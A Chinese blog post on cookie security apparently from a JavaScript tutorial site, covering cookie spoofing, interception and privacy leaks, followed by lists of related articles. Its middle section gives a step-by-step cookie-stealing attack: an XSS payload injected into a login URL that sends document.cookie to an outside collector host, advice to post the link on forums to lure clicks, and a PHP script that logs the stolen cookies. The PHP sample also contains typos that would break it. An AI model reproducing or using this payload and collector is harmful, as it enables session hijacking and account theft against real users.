深入分析Cookie的安全性问题


Posted in Javascript onMarch 01, 2015

Cookie的目的是为用户带来方便,为网站带来增值,一般情况下不会造成严重的安全威胁。Cookie文件不能作为代码执行,也不会传送病毒,它为用户所专有并只能由创建它的服务器来读取。另外,浏览器一般只允许存放300个Cookie,每个站点最多存放20个Cookie,每个Cookie的大小限制为4KB,因此,Cookie不会塞满硬盘,更不会被用作"拒绝服务"攻击手段。

但是,Cookie作为用户身份的替代,其安全性有时决定了整个系统的安全性,Cookie的安全性问题不容忽视。

(1)Cookie欺骗 Cookie记录了用户的帐户ID、密码之类的信息,通常使用MD5方法加密后在网上传递。经过加密处理后的信息即使被网络上一些别有用心的人截获也看不懂。然而,现在存在的问题是,截获Cookie的人不需要知道这些字符串的含义,只要把别人的Cookie向服务器提交,并且能够通过验证,就可以冒充受害人的身份登陆网站,这种行为叫做Cookie欺骗。
非法用户通过Cookie欺骗获得相应的加密密钥,从而访问合法用户的所有个性化信息,包括用户的E-mail甚至帐户信息,对个人信息造成严重危害。
(2)Cookie截获
Cookie以纯文本的形式在浏览器和服务器之间传送,很容易被他人非法截获和利用。任何可以截获Web通信的人都可以读取Cookie。
Cookie被非法用户截获后,然后在其有效期内重放,则此非法用户将享有合法用户的权益。例如,对于在线阅读,非法用户可以不支付费用即可享受在线阅读电子杂志。

Cookie截获的手段有以下一些:

(1)用编程手段截获Cookie。下面分析其手法,该方法分两步完成。

步骤一:定位需要收集Cookie的网站,对其进行分析并构造URL。 首先打开要收集Cookie的网站,这里假设是http://www.XXX.net,登陆网站输入用户名"<Al>"(不含引号),对数据进行分析抓包,得到如下代码:
http://www.XXX.net/tXl/login/login.pl?username=<Al>&passwd=&ok.X=28&ok.y=6;
将其中"<Al>"更换为:
"<script>alert(document.cookie)</script>"再试,如果执行成功,就开始构造URL:
http://www.XXX.net/tXl/login/login.pl?username=<script>window.open ("http://www.cbifamily.org/cbi.php?"%2bdocument.cookie)</script>&passwd=&ok.X=28&ok.y=6.
其中http://www.cbifamily.org/cbi.php是用户能够控制的某台主机上的一个脚本。需要注意的是"%2b"为符号"+"的URL编码,因为"+"将被作为空格处理。该URL即可在论坛中发布,诱使别人点击。

步骤二:编制收集Cookie的PHP脚本,并将其放到用户可以控制的网站上,当不知情者点击了构造的URL后可以执行该PHP代码。该脚本的具体内容如下:

<?php 

$info=getenv("OUERY_STRING"); 

if($info){  

$fp=fopen("info.tXt","a");  

fwrite($fp,!info."\n"); 

fclose($fp);

} 

header("Location:http://www.XXX.net");

?>

将这段代码放到网络里,则能够收集所有人的Cookie。如果一个论坛允许HTML代码或者允许使用Flash标签,就可以利用这些技术收集Cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可收集到大量的Cookie。在论坛上,有许多人的密码就是被这种方法盗走的。
(2)利用Flash的代码隐患截获Cookie。Flash中有一个getURL()函数。Flash可以利用这个函数自动打开指定的网页,它可能把用户引向一个包含恶意代码的网站。例如,当用户在电脑上欣赏Flash动画时,动画帧里的代码可能已经悄悄地连上网,并打开了一个极小的包含有特殊代码的页面,这个页面可以收集Cookie、也可以做一些其他有害的事情。网站无法禁止Flash的这种作为,因为这是Flash文件的内部功能。
(3)Cookie泄漏网络隐私
Cookie导致网络隐私泄密的主要原因是:!商业利益驱动。随着电子商务的兴起和互联网上巨大商机的出现,一些网站和机构滥用Cookie,未经访问者的许可,利用搜索引擎技术、数据挖掘技术甚至是网络欺骗技术搜集他人的个人资料,达到构建用户数据库、发送广告等营利目的,造成用户个人隐私的泄漏。"Cookie信息传递的开放性。Cookie文件具有特殊的传递流程 和文本特性,在服务器和客户端之间传送未经安全加密的Cook-ie文件,易导致个人信息的泄密。

以上都是个人对于cookie安全性的理解,如有遗漏还请大家能够指正。

Javascript 相关文章推荐
修改jQuery Validation里默认的验证方法
Feb 14 Javascript
Jquery 改变radio/checkbox选中状态,获取选中的值(示例代码)
Dec 12 Javascript
JS运动基础框架实例分析
Mar 03 Javascript
javascript异步处理工作机制详解
Apr 13 Javascript
JavaScript数据类型判定的总结笔记
Jul 31 Javascript
JavaScript重载函数实例剖析
May 13 Javascript
javascript 数组的定义和数组的长度
Jun 07 Javascript
AngularJS基础 ng-submit 指令简单示例
Aug 03 Javascript
vue中监听返回键问题
Aug 28 Javascript
JS实现打字游戏
Dec 17 Javascript
JavaScript代码异常监控实现过程详解
Feb 17 Javascript
vue3获取当前路由地址
Feb 18 Vue.js
浅谈JavaScript事件的属性列表
Mar 01 #Javascript
浅析javascript中的DOM
Mar 01 #Javascript
javascript中的正则表达式使用指南
Mar 01 #Javascript
JQuery中使文本框获得焦点的方法实例分析
Feb 28 #Javascript
jQuery实现折线图的方法
Feb 28 #Javascript
js中split和replace的用法实例
Feb 28 #Javascript
jQuery实现菜单感应鼠标滑动动画效果的方法
Feb 28 #Javascript
You might like
用PHP和ACCESS写聊天室(四)
2006/10/09 PHP
php 将bmp图片转为jpg等其他任意格式的图片
2009/06/29 PHP
PHP扩展CURL的用法详解
2014/06/20 PHP
php实现html标签闭合检测与修复方法
2015/07/09 PHP
学习php设计模式 php实现装饰器模式(decorator)
2015/12/07 PHP
PHP 应用容器化以及部署方法
2018/02/12 PHP
thinkPHP3.2.2框架行为扩展及demo示例
2018/06/19 PHP
js游戏人物上下左右跑步效果代码分享
2015/08/28 Javascript
AngularJS使用ng-inlude指令加载页面失败的原因与解决方法
2017/01/19 Javascript
Vue 过渡实现轮播图效果
2017/03/27 Javascript
原生JS与jQuery编写简单选项卡
2017/10/30 jQuery
详解Vue组件插槽的使用以及调用组件内的方法
2018/11/13 Javascript
JavaScript实现拖拽盒子效果
2020/02/06 Javascript
js实现自定义右键菜单
2020/05/18 Javascript
Vue3.0的优化总结
2020/10/16 Javascript
jQuery-App输入框实现实时搜索
2020/11/19 jQuery
python启动办公软件进程(word、excel、ppt、以及wps的et、wps、wpp)
2009/04/09 Python
python实现支持目录FTP上传下载文件的方法
2015/06/03 Python
Python切片知识解析
2016/03/06 Python
python递归查询菜单并转换成json实例
2017/03/27 Python
Python使用defaultdict读取文件各列的方法
2017/05/11 Python
pycharm远程调试openstack的图文教程
2017/11/21 Python
浅谈python str.format与制表符\t关于中文对齐的细节问题
2019/01/14 Python
PYQT5实现控制台显示功能的方法
2019/06/25 Python
Django框架下静态模板的继承操作示例
2019/11/08 Python
python实现学生信息管理系统(精简版)
2020/11/27 Python
全球速卖通俄罗斯站:AliExpress俄罗斯
2019/06/17 全球购物
美工的岗位职责
2013/11/14 职场文书
师范大学应届生求职信
2013/11/21 职场文书
公司委托书范本
2014/04/04 职场文书
弘扬焦裕禄精神走群众路线思想汇报
2014/09/12 职场文书
2014年预备党员学习新党章思想汇报
2014/09/15 职场文书
华山导游词
2015/02/03 职场文书
志愿者服务活动总结报告
2015/05/06 职场文书
2015年个人实习工作总结
2015/05/28 职场文书
2016年艾滋病宣传活动总结
2016/04/01 职场文书